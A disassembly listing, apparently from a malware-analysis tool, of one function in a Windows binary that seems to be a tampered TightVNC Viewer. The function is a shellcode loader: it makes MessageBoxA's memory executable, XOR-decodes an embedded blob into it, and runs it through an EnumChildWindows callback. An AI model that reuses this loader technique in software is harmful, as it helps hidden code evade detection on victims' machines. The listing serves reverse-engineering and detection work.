Function at 0x401270
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1900
call fcn.00405370
mov eax, dword [0x42f06c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x43164c]
test ecx, ecx
je 0x401297
mov eax, dword [ecx]
push 1
call dword [eax]
push esi
push edi
push 8
call fcn.00404a1d
add esp, 4
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov esi, eax
mov dword [ebp - 0x18e8], 0
lea eax, [ebp - 0x18e8]
mov dword [ebp - 0x18e4], 0
mov ecx, eax
mov dword [ebp - 0x18e0], 0
push eax
push 1
mov dword [esi + 4], 0
mov dword [esi], vtable.ViewerSettingsManager.0
call fcn.00401570
mov eax, dword [ebp - 0x18e4]
mov ecx, dword [ebp - 0x18e8]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4296c0
push ecx
call fcn.00405c40
push str.SoftwareTightVNCViewer
lea eax, [ebp - 0x18ec]
push str._sSettings_
push eax
call fcn.004033b0
mov ecx, dword [esi + 4]
add esp, 0x18
mov edi, dword [ebp - 0x18e8]
test ecx, ecx
je 0x401334
mov eax, dword [ecx]
push 1
call dword [eax]
push 0x1c
call fcn.00404a1d
push ecx
push edi
push 0x80000001
mov ecx, eax
call fcn.004034a0
mov edx, dword [ebp - 0x18e8]
mov dword [esi + 4], eax
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
test edx, edx
je 0x401393
mov ecx, dword [ebp - 0x18e0]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x401389
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401501
push ecx
push edx
call fcn.0040462c
add esp, 8
push 0x18d6
lea eax, [ebp - 0x18dc]
mov dword [0x43164c], esi
push 0x4296e0
push eax
call fcn.00405c40
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x18f4]
add esp, 0xc
mov dword [ebp - 0x18f4], 0
push eax
push 0x40
push 0xf831
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4013ed
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040461b
mov esp, ebp
pop ebp
ret 0x10
push ebx
mov bl, byte [ebp - 0x18dc]
lea edx, [ebp - 8]
xor bl, 0x90
lea ecx, [esi + 0x18d4]
movsx eax, bl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
cmp esi, edx
ja 0x401428
lea edx, [ebp - 0x18dc]
cmp ecx, edx
jae 0x4014bc
lea ecx, [ebp - 0x18dc]
mov dword [ebp - 0x18f0], 0x63
lea edx, [ebp - 0x18cc]
mov dword [ebp - 0x1900], 0x18c0
lea edi, [ebp - 0x18bc]
sub ecx, esi
sub edx, esi
lea eax, [ebp - 0x18ac]
sub edi, esi
sub eax, esi
mov dword [ebp - 0x18fc], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [ebp - 0x18fc]
nop dword [eax]
sub dword [ebp - 0x18f0], 1
lea eax, [eax + 0x40]
movups xmm0, xmmword [ecx + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [edx + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [edi + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [esi + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x10], xmm0
jne 0x401470
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [ebp - 0x1900]
lea edi, [ebp - 0x18dc]
mov edx, 0x18d5
sub edi, esi
lea ecx, [eax + esi]
sub edx, eax
nop
mov al, byte [ecx + edi]
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x4014d0
push edx
push esi
push edx
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov ecx, dword [ebp - 4]
mov eax, 1
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040461b
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040a023
int3